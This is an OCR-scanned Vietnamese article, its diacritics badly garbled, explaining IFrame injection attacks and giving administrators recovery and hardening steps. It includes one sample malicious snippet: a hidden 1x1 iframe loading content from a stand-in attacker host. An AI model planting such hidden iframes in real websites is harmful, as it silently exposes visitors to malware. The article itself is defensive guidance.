Thao luan vé IFrame Injection Attacks

K§ thuat tan cong theo kiéu IFrame Injection hién van dang la 1 dang
Xam nhép co ban va pho bién nhat ciia md hinh Cross-Site Scripting —
XSS. Bang cach chén vao cac website dong (ASP, PHP, CGI, JSP ... ) nhiing
thé¢ HTML hay nhimg doan mi script nguy hiém, trong d6 nhitng doan ma
nguy hiém dyoc chén vao hau hét duoc viét bang cac Client-Site Script nhu
JavaScript, JScript, DHTML va ciing c6 thé 13 ca cac thé HTML co ban. Néu
ban phét hién duoc co ké dang nham vao website ciia ban bang k¥ thuat nay,
khong nén qua lo lang. Sau day 1a 1 s6 thao tac can lam khi website 1am vao
tinh trang nay.

Vi du 1 doan ma ddc hai thuong dugc stir dung dé tan cong:

{xtypo_code}

<iframe src="http://www.example-hacker-site.com/inject/?s=some-
parameters" width="1" height="1" style="visibility: hidden"></iframe>
noi dung cua doan ma doc

{/xtypo_code}

1. Thwong Xuyén bdo tri website trong 1 khodng thoi gian nhét dinh:

Cac chuyeén gia bao mét khuyén céo nhitng nguoi quan tri nén g& bo toan bo
website xudng dé tranh truong hop trd thanh tam diém phat tan ma doc. Va
trong toan bo qua trinh khac phuc, tiép tuc giir tinh trang offline ciia website.

2. Thay déi lai tit cd Cac mdt khdu:

Thoat nghe c6 vé don gian, nhitng rat nhiéu nguoi quan tri hinh nhu khong

may dé y dén khau cyuc ky quan trong nay. Sau khi bj tin tic nhom ngé, ban
nén do6i moi tat ca mat khau bao gom tai khoan ftp, ssh, cac tai khoan quan

tri, co so dir liéu ...

3. Luu lgi 1 bén ciia Website dé phan tich:

Pé xac dinh rd nguyén nhan va diém yéu nao da bj tin tic khai thac, ban can
Iwru giit lai 1 ban nguyén tinh trang lic bi tin cong. Piéu nay rat c6 ich cho
viéc phan tich va ngan chan hiém hoa sau nay, ban nén luu lai website duoi
dang file nén dinh dang rar, zip hodc gzip va luu trit tai 1 noi an toan. Luu y



rang khong bao gio duoc luu file cach ly nay truc tiép trén server.
4. Thay thé toan bé website bang 1 bdn sao lwu hoan toan sach sé:

Khéng nén qua dya vao nhimg nha cung cap dich vu host rang ho sé& sao luu
toan bo dit liéu cho ban. R4t nhiéu bo phan hd tro ki thuat thudng xuyén
khrfmg dinh réng ho ¢6 tién hanh sao luu tu dong theo lich trinh, nhung khong
gi ¢6 thé chic chan bang viéc ban ty 1am, hon nita 2 phuong 4n du phong bao
gid cling t6t hon 1 phuong 4n.

5. Kiém tra lgi website va ding tdi tré lai:

Qua trinh nay nén tién hanh chu ddo dé dam bao rang toan by website an toan
va khong con 161 nira, sau d6 ban co6 thé dang tai website trd lai nhu trudec.

6. Tim hiéu vé nguén goc ciia Cac cudc tin coNg:

Pé dam bao rang nhitng cudc tan cong sé& khong bao gio 1ap lai, nhiing ngudi
quan trji nén tién hanh 1 cudc kiém tra, phan tich day du va chi tiét cua cudc
tin cong d6. Do 16i & dau ? L6 hong an ninh hay tmg dung web ? Hoac do
che d6 phan quyén bi sai 1énh, nham 13n ? Co thé website bi nhiém virus truc
tiép ngay tir server luu trir dir liéu ? Tat ca déu phai duoc tim hiéu va phan
tich k¥ ludng. Néu can thiét, hdy nho dén chuyén gia an ninh ciia cac hang
bao mat hang dau thé gidi nhu Kaspersky, BitDefender, Norton, Panda, Avira

7. Ap dung cac bi¢n phap bdo mdt phll hep:

Méc du ban da khoi phuc thanh cong website, nhung khong c6 gi dam bao
chac chan rang website cta ban s& khong bi tdn cong thém 1an nao nita. Néu
16 hong an ninh cii chua dugc khic phuc, co thé website ctia ban lai bi té liét
ngay trong toi nay. Dya vao cac két qua phan tich thu duge ¢ bude trén, ban
nén ap dung cac bién phap an ninh phu hop, nang cap server, cai dat thém
chuong trinh bao mat, nang cip toan bd tmg dung web hodc tién hanh sir
dung quy luat bao mat hoan toan mai.

Dua vao kinh nghiém quan 1y va thong tin thu thap, chung t6i c¢6 thé dong



gop thém 1 s6 10 khuyén va dy doan khach quan vé nguyén nhan nhu sau.
Céac nguyén nhan dé gip phai:

- Website stir dung dich vu host gia ré
- Dya trén nén tang phién ban cii ctia cac tmg dung ma ngudén mé, vi du nhu
WordPress 1.0... von c6 kha nhiéu 16 hong
- Quyén truy cap dur ligu trén server dugc thiét 1ap khong theo thi tu nhat
dinh, vi du quyén thao tac voi dir liéu ¢ mirc 777 — doc, ghi va thuc thi
- Céc thiéu s6t ctia phan mém tng dung
- Str dung FTP thay vi SFTP
- Khong han ché IP d6i véi cac tai khoan SSH va FTP

Mot sb thao tc don gian nhung hiru ich:

- Thay do6i mat khau dinh ky, vi du 2 tuan hoic 4 tuan 1 lan

- Ludn cap nhat cac phién ban 6n dinh cta tmg dung

- Thuong xuyén “don dep” cac thu muc chira dir liéu trén server, dé y néu c6
nhimg file la dot nhién xuat hién

- Cac murc phan quyén duoc thiét 1ap chuan xac

- Thuong xuyén trao d6i voi cac don vi, chuyén gia cung cap dich vu bao
mat dé nhan duoc 161 khuyén tt nhat.



